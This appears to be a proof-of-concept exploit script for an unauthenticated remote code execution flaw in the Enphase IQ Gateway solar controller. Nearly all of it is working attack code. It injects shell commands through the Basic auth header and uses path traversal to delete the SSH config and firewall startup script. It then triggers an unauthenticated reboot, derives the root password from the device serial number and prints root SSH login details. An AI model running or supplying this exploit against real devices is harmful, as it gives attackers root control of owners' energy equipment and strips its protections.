Enphase IQ Gateway Unauthenticated RCE

poc.py

import argparse
import base64
import hashlib
import ipaddress
import socket
import time
import xml.etree.ElementTree as ET

import requests
import urllib3


def command_execute(ip, command):
    # build the auth header with command injection
    payload = base64.b64encode(f"owner:'; {command}; echo'".encode("ascii"))
    authorization = f"Basic {payload.decode('utf-8')}"
    headers = {"authorization": authorization}

    # doesn't matter which endpoint we use, just need one that uses authentication
    requests.get(
        url=f"https://{ip}/installer/upgrade_status",
        verify=False,
        headers=headers,
        timeout=10,
    )
    print("executed command")


def delete_file(ip, file):
    # path traversal so we can delete any file we want
    file_path = f"../../../{file.lstrip('/')}"

    # bypassing the webserver to hit the backend directly
    # this avoids a deadlock
    api = "http://localhost:8080/pmiconf/lib/pmifft"
    command = f'curl -d "operation=Delete+Selected+Files&selected_files={file_path}" -X POST {api}'
    command_execute(ip, command)


def reboot_device(ip):
    # this is unauthenticated, so we can just call it directly
    payload = {"fname": "tunnel_form", "failenable": ""}
    requests.post(
        url=f"https://{ip}/admin/lib/dba", data=payload, verify=False, timeout=10
    )


def get_info(ip, xpath):
    r = requests.get(url=f"https://{ip}/info", verify=False, timeout=10)
    root = ET.fromstring(r.text)
    element = root.find(xpath)

    if element is None:
        raise Exception(f"Could not find element with xpath: {xpath}")

    if element.text is None:
        raise Exception("Could not find text in element")

    return element.text


def get_serial(ip):
    return get_info(ip, ".//sn")


def get_version(ip):
    return get_info(ip, ".//software")


def generate_password(serial):
    # documented here, this still exists
    # once we re-enable the ssh password authentication
    # https://medium.com/stage-2-security/can-solar-controllers-be-used-to-generate-fake-clean-energy-credits-4a7322e7661a
    magic_string = f"[e]root@enphaseenergy.com#{serial} EnPhAsE eNeRgY ".encode("ascii")
    return hashlib.md5(magic_string).hexdigest()


def check_ssh(ip):
    socket.create_connection((ip, 22), timeout=5)


def check_http(ip):
    socket.create_connection((ip, 80), timeout=5)


if __name__ == "__main__":
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(
        description="proof of concept for the Enphase IQ Gateway remote code execution vulnerability"
    )
    parser.add_argument("ip")
    args = parser.parse_args()
    ip = args.ip

    # check that ip is valid
    ipaddress.ip_address(ip)

    print(f"Using IP address {ip}")

    print("Getting serial number")
    serial = get_serial(ip)
    version = get_version(ip)
    password = generate_password(serial)
    print(f"Serial number: {serial}")
    print(f"Version: {version}")

    print("Deleting /opt/emu/cfg/sshd_config")
    print("This re-enables SSH password authentication")
    delete_file(ip, "/opt/emu/cfg/sshd_config")

    print("Deleting /etc/init.d/iptables")
    print("This stops iptables from starting on boot")
    print("This allows ssh to be accessible over the network")
    delete_file(ip, "/etc/init.d/iptables")

    print("Rebooting device")
    print("This is necessary for the changes to take effect")
    reboot_device(ip)

    print("Waiting for device to go offline")
    i = 0
    while True:
        try:
            i += 1
            check_http(ip)
            print(f"waiting for device to go offline - check: {i}")
            time.sleep(5)
        except Exception:
            break
    print("device is now offline")

    # need to wait to make sure the device has fully shut down
    # so it doesn't immediately think it is online
    time.sleep(5)

    print("Waiting for device to come back online")
    i = 0
    while True:
        try:
            i += 1
            check_ssh(ip)
            break
        except Exception:
            print(f"waiting for device to come back online - check: {i}")
            time.sleep(5)

    print("Device is back online")
    print("You can now SSH into the device with the following information:")
    print("username: root")
    print(f"password: {password}")
    print("You can do this using a command like the following:")
    print(f"ssh root@{ip}")
    print("And entering the password when prompted")
    print("*" * 50)
    print("All services will not restart until you reboot the system again")
    print("since the unauthenticated reboot we used has side effects")